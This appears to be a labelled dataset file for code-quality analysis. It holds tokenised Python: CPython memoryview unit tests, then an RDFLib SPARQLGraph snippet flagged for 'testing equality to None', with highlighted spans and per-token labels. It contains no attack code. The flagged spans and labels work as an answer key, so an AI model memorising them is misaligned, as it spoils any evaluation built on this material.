", "Issue", " ", "#", "104", "5", "1", ":", " ", "memory", "view", " ", "incorrect", "ly", " ", "expos", "es", " ", "a", " ", "readonly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "buffer", " ", "as", " ", "writ", "able", " ", "caus", "ing", " ", "a", " ", "seg", "fault", " ", "if", " ", "usi", "ng", " ", "mmap_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tp_", "=_", "self_", "._", "ro", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tp_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b_", "=_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "io_", "._", "Byte", "s", "IO_", "(_", "b", "'", "ZZ", "ZZ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "i_", "._", "readi", "nto", "_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "getb", "uf", "\\u", "fail_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "self_", "._", "\\u", "view_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "hash_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Memo", "ry", "views", " ", "of", " ", "read", "only", " ", "(", "hashable", ")", " ", "types", " ", "are", " ", "hashable", ",", " ", "and", " ", "the", "y_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "hash", " ", "as", " ", "hash", "(", "obj", ".", "tob", "ytes", "())", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tp_", "=_", "self_", "._", "ro", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tp_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "skip", "Test_", "(_", "\"", "no", " ", "read", "-", "only", " ", "type", " ", "to", " ", "test", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b_", "=_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "hash_", "(_", "m_", ")_", ",_", "hash_", "(_", "b", "\"", "abcde", "f", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Rel", "easi", "ng", " ", "the", " ", "memory", "view", " ", "keep", "s", " ", "the", " ", "store", "d", " ", "hash", " ", "value", " ", "(", "as", " ", "with", " ", "weak", "refs", ")_", "\\u\\u\\uNL\\u\\u\\u_", "m_", "._", "release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "hash_", "(_", "m_", ")_", ",_", "hash_", "(_", "b", "\"", "abcde", "f", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Hash", "ing", " ", "a", " ", "memory", "view", " ", "for", " ", "the", " ", "first", " ", "time", " ", "after", " ", "it", " ", "is", " ", "released", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "results", " ", "in", " ", "an", " ", "error", " ", "(", "as", " ", "with", " ", "weak", "refs", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "hash_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "hash", "\\u", "writable_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Memo", "ry", "views", " ", "of", " ", "writ", "able", " ", "types", " ", "are", " ", "unh", "ash", "able_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tp_", "=_", "self_", "._", "rw", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tp_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "skip", "Test_", "(_", "\"", "no", " ", "writ", "able", " ", "type", " ", "to", " ", "test", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b_", "=_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "hash_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "weakref_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", " ", "memory", "views", " ", "are", " ", "weak", "ref", "able_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "=_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "L_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "callback_", "(_", "wr_", ",_", "b_", "=_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "L_", "._", "append_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "wr_", "=_", "weakref_", "._", "ref_", "(_", "m_", ",_", "callback_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "wr_", "(_", ")_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test_", "._", "support_", "._", "gc", "\\u", "collect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "wr_", "(_", ")_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "L_", "[_", "0_", "]_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Base", "Byte", "s", "Memo", "ry", "Tests_", "(_", "Abstract", "Memo", "ry", "Tests_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ro", "\\u", "type_", "=_", "bytes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rw", "\\u", "type_", "=_", "bytearray_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "getitem", "\\u", "type_", "=_", "bytes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "itemsize_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "format_", "=_", "'", "B", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Base", "Array", "Memo", "ry", "Tests_", "(_", "Abstract", "Memo", "ry", "Tests_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ro", "\\u", "type_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rw", "\\u", "type_", "=_", "lambda_", "self_", ",_", "b_", ":_", "array_", "._", "array_", "(_", "'", "i", "'_", ",_", "list_", "(_", "b_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "getitem", "\\u", "type_", "=_", "lambda_", "self_", ",_", "b_", ":_", "array_", "._", "array_", "(_", "'", "i", "'_", ",_", "list_", "(_", "b_", ")_", ")_", "._", "tob", "ytes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "itemsize_", "=_", "array_", "._", "array_", "(_", "'", "i", "'_", ")_", "._", "itemsize_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "format_", "=_", "'", "i", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Base", "Array", "Memo", "ry", "Tests_", "(_", "Abstract", "Memo", "ry", "Tests_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "getb", "uffer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "XX", "X", " ", "Test", " ", "shou", "ld", " ", "be", " ", "adapt", "ed", " ", "for", " ", "non", "-", "byte", " ", "buffers_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Array", "Memo", "ry", "Tests_", "(_", "Abstract", "Memo", "ry", "Tests_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "tolist_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "XX", "X", " ", "Not", "Impl", "ement", "ed", "Error", ":", " ", "tol", "ist", "()", " ", "only", " ", "support", "s", " ", "byte", " ", "views_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Base", "Memo", "ry", "Slice", "Tests_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "source", "\\u", "bytes_", "=_", "b", "\"", "Xa", "bcd", "ef", "Y", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Base", "Memo", "ry", "Slice", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "view_", "(_", "self_", ",_", "obj_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "memory", "view_", "(_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "m_", "[_", "1_", ":_", "7_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Memo", "ry", "Slice", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "check", "\\u", "contents_", "(_", "self_", ",_", "tp_", ",_", "obj_", ",_", "contents_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "obj_", "[_", "1_", ":_", "7_", "]_", ",_", "tp_", "(_", "contents_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Memo", "ry", "Slice", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "refs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "memory", "view_", "(_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "refco", "unt_", "=_", "sys_", "._", "getre", "fco", "unt_", "(_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "[_", "1_", ":_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "sys_", "._", "getre", "fco", "unt_", "(_", "m_", ")_", ",_", "old", "refco", "unt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Base", "Memo", "ry", "Slice", "Slice", "Tests_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "source", "\\u", "bytes_", "=_", "b", "\"", "Xa", "bcd", "ef", "Y", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Base", "Memo", "ry", "Slice", "Slice", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "view_", "(_", "self_", ",_", "obj_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "memory", "view_", "(_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "m_", "[_", ":_", "7_", "]_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Memo", "ry", "Slice", "Slice", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "check", "\\u", "contents_", "(_", "self_", ",_", "tp_", ",_", "obj_", ",_", "contents_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "obj_", "[_", "1_", ":_", "7_", "]_", ",_", "tp_", "(_", "contents_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Byte", "s", "Memo", "ry", "Slice", "Test_", "(_", "unittest_", "._", "Test", "Case_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Base", "Memo", "ry", "Slice", "Tests_", ",_", "Base", "Byte", "s", "Memo", "ry", "Tests_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Array", "Memo", "ry", "Slice", "Test_", "(_", "unittest_", "._", "Test", "Case_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Base", "Memo", "ry", "Slice", "Tests_", ",_", "Base", "Array", "Memo", "ry", "Tests_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Byte", "s", "Memo", "ry", "Slice", "Slice", "Test_", "(_", "unittest_", "._", "Test", "Case_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Base", "Memo", "ry", "Slice", "Slice", "Tests_", ",_", "Base", "Byte", "s", "Memo", "ry", "Tests_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Array", "Memo", "ry", "Slice", "Slice", "Test_", "(_", "unittest_", "._", "Test", "Case_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Base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equality to None
RDFLib/rdfextras/rdfextras/sparql/graph.py
[ { "content": " def clusterForward(self, seed, Cluster=None):\n \"\"\"\n Cluster the triple store: from a seed, transitively get all\n properties and objects in direction of the arcs.\n\n :param seed: RDFLib Resource\n\n :param Cluster: another sparqlGraph instance; if None, a new\n one will be created. The subgraph will be added to this graph.\n\n :return: The :class:`~rdfextras.sparql.graph.SPARQLGraph` triple store\n containing the cluster\n\n \"\"\"\n if Cluster == None:\n Cluster = SPARQLGraph()\n\n # This will raise an exception if not kosher...\n check_subject(seed) #print \"Wrong type for clustering: %s\" % seed\n self._clusterForward(seed, Cluster)\n\n return Cluster", "metadata": "root.SPARQLGraph.clusterForward", "header": "['class', 'SPARQLGraph', '(', 'object', ')', ':', '___EOS___']", "index": 108 }, { "content": " def clusterBackward(self, seed, Cluster=None):\n \"\"\"\n Cluster the triple store: from a seed, transitively get all\n properties and objects 'backward', ie, following the link back\n in the graph.\n\n :param seed: RDFLib Resource\n\n :param Cluster: another sparqlGraph instance; if None, a new\n one will be created. The subgraph will be added to this graph.\n\n :return: The :class:`~rdfextras.sparql.graph.SPARQLGraph` triple store\n containing the cluster\n\n \"\"\"\n if Cluster == None:\n Cluster = SPARQLGraph()\n\n # This will raise an exception if not kosher...\n check_object(seed) # print \"Wrong type for clustering: %s\" % seed\n self._clusterBackward(seed, Cluster)\n\n return Cluster", "metadata": "root.SPARQLGraph.clusterBackward", "header": "['class', 'SPARQLGraph', '(', 'object', ')', ':', '___EOS___']", "index": 153 } ]
[ { "span": "Cluster == None:", "start_line": 122, "start_column": 11, "end_line": 122, "end_column": 26 }, { "span": "Cluster == None:", "start_line": 168, "start_column": 11, "end_line": 168, "end_column": 26 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "SPAR", "QL", "Graph_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cluster", "Forward_", "(_", "self_", ",_", "seed_", ",_", "Cluster_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Cluster", " ", "the", " ", "triple", " ", "store", ":", " ", "from", " ", "a", " ", "seed", ",", " ", "transiti", "vel", "y", " ", "get", " ", "all", "\\", "10", ";", " ", " ", " ", " ", "proper", "ties", " ", "and", " ", "object", "s", " ", "in", " ", "direction", " ", "of", " ", "the", " ", "arcs", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "seed", ":", " ", "RDF", "Lib", " ", "Reso", "urc", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "Cluster", ":", " ", "anot", "her", " ", "sparql", "Graph", " ", "instance", ";", " ", "if", " ", "Non", "e", ",", " ", "a", " ", "new", "\\", "10", ";", " ", " ", " ", " ", "one", " ", "will", " ", "be", " ", "created", ".", " ", "The", " ", "subgraph", " ", "will", " ", "be", " ", "adde", "d", " ", "to", " ", "this", " ", "graph", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "return", ":", " ", " ", "The", " ", ":", "class", ":`", "~", "rdf", "extra", "s", ".", "sparql", ".", "graph", ".", "SPAR", "QL", "Graph", "`", " ", "triple", " ", "store", "\\", "10", ";", " ", " ", " ", " ", "contain", "ing", " ", "the", " ", "cluster", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Cluster_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Cluster_", "=_", "SPAR", "QL", "Graph_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "will", " ", "raise", " ", "an", " ", "exception", " ", "if", " ", "not", " ", "ko", "sher", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "\\u", "subject_", "(_", "seed_", ")_", "#", "print", " ", "\"", "Wro", "ng", " ", "type", " ", "for", " ", "clusteri", "ng", ":", " ", "%", "s", "\"", " ", "%", " ", "seed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cluster", "Forward_", "(_", "seed_", ",_", "Cluster_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Cluster_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SPAR", "QL", "Graph_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cluster", "Backward", "_", "(_", "self_", ",_", "seed_", ",_", "Cluster_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Cluster", " ", "the", " ", "triple", " ", "store", ":", " ", "from", " ", "a", " ", "seed", ",", " ", "transiti", "vel", "y", " ", "get", " ", "all", "\\", "10", ";", " ", " ", " ", " ", "proper", "ties", " ", "and", " ", "object", "s", " ", "'", "back", "ward", "',", " ", "ie", ",", " ", "follow", "ing", " ", "the", " ", "link", " ", "back", "\\", "10", ";", " ", " ", " ", " ", "in", " ", "the", " ", "graph", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "seed", ":", " ", "RDF", "Lib", " ", "Reso", "urc", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "Cluster", ":", " ", "anot", "her", " ", "sparql", "Graph", " ", "instance", ";", " ", "if", " ", "Non", "e", ",", " ", "a", " ", "new", "\\", "10", ";", " ", " ", " ", " ", "one", " ", "will", " ", "be", " ", "created", ".", " ", "The", " ", "subgraph", " ", "will", " ", "be", " ", "adde", "d", " ", "to", " ", "this", " ", "graph", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "return", ":", " ", "The", " ", ":", "class", ":`", "~", "rdf", "extra", "s", ".", "sparql", ".", "graph", ".", "SPAR", "QL", "Graph", "`", " ", "triple", " ", "store", "\\", "10", ";", " ", " ", " ", " ", "contain", "ing", " ", "the", " ", "cluster", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Cluster_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Cluster_", "=_", "SPAR", "QL", "Graph_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "will", " ", "raise", " ", "an", " ", "exception", " ", "if", " ", "not", " ", "ko", "sher", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "\\u", "object_", "(_", "seed_", ")_", "#", " ", "print", " ", "\"", "Wro", "ng", " ", "type", " ", "for", " ", "clusteri", "ng", ":", " ", "%", "s", "\"", " ", "%", " ", "seed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cluster", "Backward", "_", "(_", "seed_", ",_", "Cluster_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Cluster_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 